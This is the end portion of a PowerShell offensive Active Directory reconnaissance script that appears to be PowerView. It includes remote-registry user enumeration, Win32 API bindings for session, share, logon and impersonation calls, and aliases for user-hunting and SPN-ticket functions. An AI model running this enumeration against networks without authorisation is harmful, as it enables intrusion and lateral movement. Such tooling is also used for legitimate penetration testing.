|
|
$LogonHours,
|
|
|
|
[DateTime]
|
|
$LogonTime
|
|
)
|
|
|
|
BEGIN {
|
|
$Days = @{
|
|
1 = "Sunday";
|
|
2 = "Monday";
|
|
3 = "Tuesday";
|
|
4 = "Wednesday";
|
|
5 = "Thursday";
|
|
6 = "Friday";
|
|
7 = "Saturday";
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
$Hour = $LogonTime.Hour
|
|
$Day = $Days[$LogonTime.Day]
|
|
if (-not $LogonHours.$Day.$Hour) {
|
|
Write-Verbose "[Get-LogoffTime] User is not allowed to logon now!"
|
|
$LogonTime
|
|
}
|
|
$OutTime = $LogonTime
|
|
$leftover = 23 - $Hour
|
|
$FoundLogoff = $False
|
|
for ($i=0; $i -lt 7; $i++) {
|
|
$Day = $Days[$($LogonTime.Day + $i)]
|
|
if ($i -eq 0) {
|
|
$counter = $Hour + 1
|
|
}
|
|
else {
|
|
$counter = 0
|
|
}
|
|
do {
|
|
$OutTime = $OutTime.AddHours(1)
|
|
if (-not $LogonHours.$Day.$counter) {
|
|
$FoundLogoff = $True
|
|
break
|
|
}
|
|
$counter += 1
|
|
} while ($counter -lt 24)
|
|
if ($FoundLogoff) {
|
|
break
|
|
}
|
|
}
|
|
|
|
if (-not $FoundLogoff -and $Hour -gt 0) {
|
|
$Day = $Days[$LogonTime.Day]
|
|
for ($i=0; $i -lt $Hour; $i++) {
|
|
$OutTime = $OutTime.AddHours(1)
|
|
if (-not $LogonHours.$Day.$i) {
|
|
$FoundLogoff = $True
|
|
break
|
|
}
|
|
}
|
|
}
|
|
|
|
if ($FoundLogoff) {
|
|
$OutTime
|
|
}
|
|
else {
|
|
$FoundLogoff
|
|
}
|
|
}
|
|
}
|
|
|
|
function Get-RegistryUserEnum {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Enumerate users using remote registry.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies:
|
|
|
|
.DESCRIPTION
|
|
|
|
Enumerate users using remote registry.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Computer to check.
|
|
|
|
.PARAMETER Check
|
|
|
|
Switch. Just check if connecting to the remote registry works.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-LogoffTime -LogonHours $LogonHours -LogonTime $(Get-Date)
|
|
|
|
.INPUTS
|
|
|
|
PSObject
|
|
|
|
.OUTPUTS
|
|
|
|
DateTime
|
|
#>
|
|
|
|
[CmdletBinding(SupportsShouldProcess=$True,
|
|
ConfirmImpact='Medium')]
|
|
Param
|
|
(
|
|
[parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
|
|
[Alias('DNSHostName', 'Name', 'Server')]
|
|
[String[]]
|
|
$ComputerName = '.',
|
|
|
|
[Switch]
|
|
$Check
|
|
)
|
|
Begin {
|
|
}
|
|
Process {
|
|
Foreach ($Computer in $ComputerName) {
|
|
if (Test-Connection $computer -Count 2 -Quiet) {
|
|
$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', $Computer)
|
|
$subkeys = $reg.GetSubKeyNames() | ?{$_ -notmatch '.DEFAULT' -and $_ -notmatch '_Classes'}
|
|
if ($PSBoundParameters['Check'] -and $subkeys.Length -gt 0) {
|
|
$Computer
|
|
} elseif ($subkeys.Length -gt 0) {
|
|
$users = @()
|
|
foreach ($subkey in $subkeys) {
|
|
$user = New-Object psobject
|
|
$user | Add-Member -Name SID -MemberType NoteProperty -Value $subkey
|
|
$user | Add-Member -Name Name -MemberType NoteProperty -Value (ConvertFrom-SID $subkey)
|
|
$users += ,$user
|
|
}
|
|
$Obj = New-Object psobject
|
|
$Obj | Add-Member -Name Computer -MemberType NoteProperty -Value $Computer
|
|
$Obj | Add-Member -Name Users -MemberType NoteProperty -Value $users
|
|
$Obj
|
|
} else {
|
|
Write-Warning "$Computer connected but did not return subkeys"
|
|
}
|
|
}
|
|
else {
|
|
Write-Error "$Computer not reachable"
|
|
}
|
|
}
|
|
}
|
|
End {
|
|
#[Microsoft.Win32.RegistryHive]::Users
|
|
}
|
|
}
|
|
|
|
|
|
|
|
########################################################
|
|
#
|
|
# Expose the Win32API functions and datastructures below
|
|
# using PSReflect.
|
|
# Warning: Once these are executed, they are baked in
|
|
# and can't be changed while the script is running!
|
|
#
|
|
########################################################
|
|
|
|
$Mod = New-InMemoryModule -ModuleName Win32
|
|
|
|
# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]
|
|
|
|
# used to parse the 'samAccountType' property for users/computers/groups
|
|
$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{
|
|
DOMAIN_OBJECT = '0x00000000'
|
|
GROUP_OBJECT = '0x10000000'
|
|
NON_SECURITY_GROUP_OBJECT = '0x10000001'
|
|
ALIAS_OBJECT = '0x20000000'
|
|
NON_SECURITY_ALIAS_OBJECT = '0x20000001'
|
|
USER_OBJECT = '0x30000000'
|
|
MACHINE_ACCOUNT = '0x30000001'
|
|
TRUST_ACCOUNT = '0x30000002'
|
|
APP_BASIC_GROUP = '0x40000000'
|
|
APP_QUERY_GROUP = '0x40000001'
|
|
ACCOUNT_TYPE_MAX = '0x7fffffff'
|
|
}
|
|
|
|
# used to parse the 'grouptype' property for groups
|
|
$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
|
|
CREATED_BY_SYSTEM = '0x00000001'
|
|
GLOBAL_SCOPE = '0x00000002'
|
|
DOMAIN_LOCAL_SCOPE = '0x00000004'
|
|
UNIVERSAL_SCOPE = '0x00000008'
|
|
APP_BASIC = '0x00000010'
|
|
APP_QUERY = '0x00000020'
|
|
SECURITY = '0x80000000'
|
|
} -Bitfield
|
|
|
|
# used to parse the 'userAccountControl' property for users/groups
|
|
$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
|
|
SCRIPT = 1
|
|
ACCOUNTDISABLE = 2
|
|
HOMEDIR_REQUIRED = 8
|
|
LOCKOUT = 16
|
|
PASSWD_NOTREQD = 32
|
|
PASSWD_CANT_CHANGE = 64
|
|
ENCRYPTED_TEXT_PWD_ALLOWED = 128
|
|
TEMP_DUPLICATE_ACCOUNT = 256
|
|
NORMAL_ACCOUNT = 512
|
|
INTERDOMAIN_TRUST_ACCOUNT = 2048
|
|
WORKSTATION_TRUST_ACCOUNT = 4096
|
|
SERVER_TRUST_ACCOUNT = 8192
|
|
DONT_EXPIRE_PASSWORD = 65536
|
|
MNS_LOGON_ACCOUNT = 131072
|
|
SMARTCARD_REQUIRED = 262144
|
|
TRUSTED_FOR_DELEGATION = 524288
|
|
NOT_DELEGATED = 1048576
|
|
USE_DES_KEY_ONLY = 2097152
|
|
DONT_REQ_PREAUTH = 4194304
|
|
PASSWORD_EXPIRED = 8388608
|
|
TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216
|
|
NO_AUTH_DATA_REQUIRED = 33554432
|
|
PARTIAL_SECRETS_ACCOUNT = 67108864
|
|
} -Bitfield
|
|
|
|
# enum used by $WTS_SESSION_INFO_1 below
|
|
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
|
|
Active = 0
|
|
Connected = 1
|
|
ConnectQuery = 2
|
|
Shadow = 3
|
|
Disconnected = 4
|
|
Idle = 5
|
|
Listen = 6
|
|
Reset = 7
|
|
Down = 8
|
|
Init = 9
|
|
}
|
|
|
|
# the WTSEnumerateSessionsEx result structure
|
|
$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
|
|
ExecEnvId = field 0 UInt32
|
|
State = field 1 $WTSConnectState
|
|
SessionId = field 2 UInt32
|
|
pSessionName = field 3 String -MarshalAs @('LPWStr')
|
|
pHostName = field 4 String -MarshalAs @('LPWStr')
|
|
pUserName = field 5 String -MarshalAs @('LPWStr')
|
|
pDomainName = field 6 String -MarshalAs @('LPWStr')
|
|
pFarmName = field 7 String -MarshalAs @('LPWStr')
|
|
}
|
|
|
|
# the particular WTSQuerySessionInformation result structure
|
|
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
|
|
AddressFamily = field 0 UInt32
|
|
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
|
|
}
|
|
|
|
# the NetShareEnum result structure
|
|
$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
|
|
Name = field 0 String -MarshalAs @('LPWStr')
|
|
Type = field 1 UInt32
|
|
Remark = field 2 String -MarshalAs @('LPWStr')
|
|
}
|
|
|
|
# the NetWkstaUserEnum result structure
|
|
$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
|
|
UserName = field 0 String -MarshalAs @('LPWStr')
|
|
LogonDomain = field 1 String -MarshalAs @('LPWStr')
|
|
AuthDomains = field 2 String -MarshalAs @('LPWStr')
|
|
LogonServer = field 3 String -MarshalAs @('LPWStr')
|
|
}
|
|
|
|
# the NetSessionEnum result structure
|
|
$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
|
|
CName = field 0 String -MarshalAs @('LPWStr')
|
|
UserName = field 1 String -MarshalAs @('LPWStr')
|
|
Time = field 2 UInt32
|
|
IdleTime = field 3 UInt32
|
|
}
|
|
|
|
# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
|
|
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
|
|
SidTypeUser = 1
|
|
SidTypeGroup = 2
|
|
SidTypeDomain = 3
|
|
SidTypeAlias = 4
|
|
SidTypeWellKnownGroup = 5
|
|
SidTypeDeletedAccount = 6
|
|
SidTypeInvalid = 7
|
|
SidTypeUnknown = 8
|
|
SidTypeComputer = 9
|
|
}
|
|
|
|
# the NetLocalGroupEnum result structure
|
|
$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
|
|
lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
|
|
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
|
|
}
|
|
|
|
# the NetLocalGroupGetMembers result structure
|
|
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
|
|
lgrmi2_sid = field 0 IntPtr
|
|
lgrmi2_sidusage = field 1 $SID_NAME_USE
|
|
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
|
|
}
|
|
|
|
# enums used in DS_DOMAIN_TRUSTS
|
|
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
|
|
IN_FOREST = 1
|
|
DIRECT_OUTBOUND = 2
|
|
TREE_ROOT = 4
|
|
PRIMARY = 8
|
|
NATIVE_MODE = 16
|
|
DIRECT_INBOUND = 32
|
|
} -Bitfield
|
|
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
|
|
DOWNLEVEL = 1
|
|
UPLEVEL = 2
|
|
MIT = 3
|
|
DCE = 4
|
|
}
|
|
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
|
|
NON_TRANSITIVE = 1
|
|
UPLEVEL_ONLY = 2
|
|
FILTER_SIDS = 4
|
|
FOREST_TRANSITIVE = 8
|
|
CROSS_ORGANIZATION = 16
|
|
WITHIN_FOREST = 32
|
|
TREAT_AS_EXTERNAL = 64
|
|
}
|
|
|
|
# the DsEnumerateDomainTrusts result structure
|
|
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
|
|
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
|
|
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
|
|
Flags = field 2 $DsDomainFlag
|
|
ParentIndex = field 3 UInt32
|
|
TrustType = field 4 $DsDomainTrustType
|
|
TrustAttributes = field 5 $DsDomainTrustAttributes
|
|
DomainSid = field 6 IntPtr
|
|
DomainGuid = field 7 Guid
|
|
}
|
|
|
|
# used by WNetAddConnection2W
|
|
$NETRESOURCEW = struct $Mod NETRESOURCEW @{
|
|
dwScope = field 0 UInt32
|
|
dwType = field 1 UInt32
|
|
dwDisplayType = field 2 UInt32
|
|
dwUsage = field 3 UInt32
|
|
lpLocalName = field 4 String -MarshalAs @('LPWStr')
|
|
lpRemoteName = field 5 String -MarshalAs @('LPWStr')
|
|
lpComment = field 6 String -MarshalAs @('LPWStr')
|
|
lpProvider = field 7 String -MarshalAs @('LPWStr')
|
|
}
|
|
|
|
# all of the Win32 API functions we need
|
|
$FunctionDefinitions = @(
|
|
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
|
|
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
|
|
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
|
|
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
|
|
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
|
|
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
|
|
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
|
|
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
|
|
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
|
|
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
|
|
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
|
|
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
|
|
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
|
|
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
|
|
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
|
|
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
|
|
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
|
|
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
|
|
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
|
|
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
|
|
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
|
|
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
|
|
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
|
|
)
|
|
|
|
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
|
|
$Netapi32 = $Types['netapi32']
|
|
$Advapi32 = $Types['advapi32']
|
|
$Wtsapi32 = $Types['wtsapi32']
|
|
$Mpr = $Types['Mpr']
|
|
$Kernel32 = $Types['kernel32']
|
|
|
|
Set-Alias Get-IPAddress Resolve-IPAddress
|
|
Set-Alias Convert-NameToSid ConvertTo-SID
|
|
Set-Alias Convert-SidToName ConvertFrom-SID
|
|
Set-Alias Request-SPNTicket Get-DomainSPNTicket
|
|
Set-Alias Get-DNSZone Get-DomainDNSZone
|
|
Set-Alias Get-DNSRecord Get-DomainDNSRecord
|
|
Set-Alias Get-NetDomain Get-Domain
|
|
Set-Alias Get-NetDomainController Get-DomainController
|
|
Set-Alias Get-NetForest Get-Forest
|
|
Set-Alias Get-NetForestDomain Get-ForestDomain
|
|
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
|
|
Set-Alias Get-NetUser Get-DomainUser
|
|
Set-Alias Get-UserEvent Get-DomainUserEvent
|
|
Set-Alias Get-NetComputer Get-DomainComputer
|
|
Set-Alias Get-ADObject Get-DomainObject
|
|
Set-Alias Set-ADObject Set-DomainObject
|
|
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
|
|
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
|
|
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
|
|
Set-Alias Get-GUIDMap Get-DomainGUIDMap
|
|
Set-Alias Get-NetOU Get-DomainOU
|
|
Set-Alias Get-NetSite Get-DomainSite
|
|
Set-Alias Get-NetSubnet Get-DomainSubnet
|
|
Set-Alias Get-NetGroup Get-DomainGroup
|
|
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
|
|
Set-Alias Get-NetGroupMember Get-DomainGroupMember
|
|
Set-Alias Get-NetFileServer Get-DomainFileServer
|
|
Set-Alias Get-DFSshare Get-DomainDFSShare
|
|
Set-Alias Get-NetGPO Get-DomainGPO
|
|
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
|
|
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
|
|
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
|
|
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
|
|
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
|
|
Set-Alias Get-SiteName Get-NetComputerSiteName
|
|
Set-Alias Get-Proxy Get-WMIRegProxy
|
|
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
|
|
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
|
|
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
|
|
Set-Alias Get-NetProcess Get-WMIProcess
|
|
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
|
|
Set-Alias Invoke-UserHunter Find-DomainUserLocation
|
|
Set-Alias Invoke-ProcessHunter Find-DomainProcess
|
|
Set-Alias Invoke-EventHunter Find-DomainUserEvent
|
|
Set-Alias Invoke-ShareFinder Find-DomainShare
|
|
Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
|
|
Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
|
|
Set-Alias Get-NetDomainTrust Get-DomainTrust
|
|
Set-Alias Get-NetForestTrust Get-ForestTrust
|
|
Set-Alias Find-ForeignUser Get-DomainForeignUser
|
|
Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
|
|
Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
|
|
Set-Alias Get-DomainPolicy Get-DomainPolicyData
|